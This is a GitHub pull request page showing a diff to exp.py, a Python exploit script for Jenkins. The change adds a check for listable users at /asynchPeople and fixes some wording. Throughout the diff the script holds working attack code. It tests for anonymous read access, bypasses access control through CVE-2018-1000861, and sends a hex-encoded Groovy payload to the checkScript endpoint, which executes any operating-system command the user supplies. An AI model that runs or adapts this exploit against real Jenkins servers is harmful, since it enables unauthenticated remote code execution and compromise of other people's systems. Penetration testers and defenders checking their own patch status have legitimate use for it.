Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add /asynchPeople endpoint check #2

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
28 changes: 20 additions & 8 deletions exp.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
#!/usr/bin/python
# coding: UTF-8
# author: Orange Tsai(@orange_8361)
#
#

import sys
import requests
Expand All @@ -16,42 +16,52 @@

endpoint = 'descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript'


class mode(Enum):
ACL_PATCHED = 0
NOT_JENKINS = 1
READ_ENABLE = 2
READ_BYPASS = 3
ENTRY_NOTFOUND = 999


def usage():
print '''
Usage:
python exp.py <url> <cmd>
'''


def _log(msg, fail=False):
nb = '[*]'
if fail:
nb = '[-]'
print '%s %s' % (nb, msg)


def _get(url, params=None):
r = requests.get(url, verify=False, params=params)
return r.status_code, r.content


def _add_bypass(url):
return url + 'securityRealm/user/admin/'


def check(url):
flag, accessible = mode.ACL_PATCHED, False

# check ANONYMOUS_READ
status, content = _get(url)
if status == 200 and 'adjuncts' in content:
flag, accessible = mode.READ_ENABLE, True
_log('ANONYMOUS_READ enable!')
_log('ANONYMOUS_READ enabled!')
status, asynch = _get(url+"asynchPeople")
if status == 200:
_log("Users are listable.")

elif status == 403:
_log('ANONYMOUS_READ disable!')
_log('ANONYMOUS_READ disabled!')

# check ACL bypass, CVE-2018-1000861
status, content = _get(_add_bypass(url))
Expand All @@ -71,10 +81,12 @@ def check(url):

return flag


def exploit(url, cmd):
payload = 'public class x{public x(){new String("%s".decodeHex()).execute()}}' % cmd.encode('hex')
payload = 'public class x{public x(){new String("%s".decodeHex()).execute()}}' % cmd.encode(
'hex')
params = {
'sandbox': True,
'sandbox': True,
'value': payload
}

Expand All @@ -84,20 +96,20 @@ def exploit(url, cmd):
elif status == 405:
_log('It seems Jenkins has patched the RCE gadget :(')
else:
_log('Exploit fail with HTTP status [%d]' % status, fail=True)
_log('Exploit failed with HTTP status [%d]' % status, fail=True)
if 'stack trace' in content:
for _ in content.splitlines():
if _.startswith('Caused:'):
_log(_, fail=True)


if __name__ == '__main__':
if len(sys.argv) != 3:
usage()
exit()

url = sys.argv[1].rstrip('/') + '/'
cmd = sys.argv[2]

flag = check(url)
if flag is mode.ACL_PATCHED:
_log('It seems Jenkins is up-to-date(>2.137) :(', fail=True)
Expand All @@ -109,4 +121,4 @@ def exploit(url, cmd):
_log('Bypass with CVE-2018-1000861!')
exploit(_add_bypass(url), cmd)
else:
_log('The `checkScript` is not found, please try other entries(see refs)', fail=True)
_log('The `checkScript` is not found, please try other entries (see refs / listable users)', fail=True)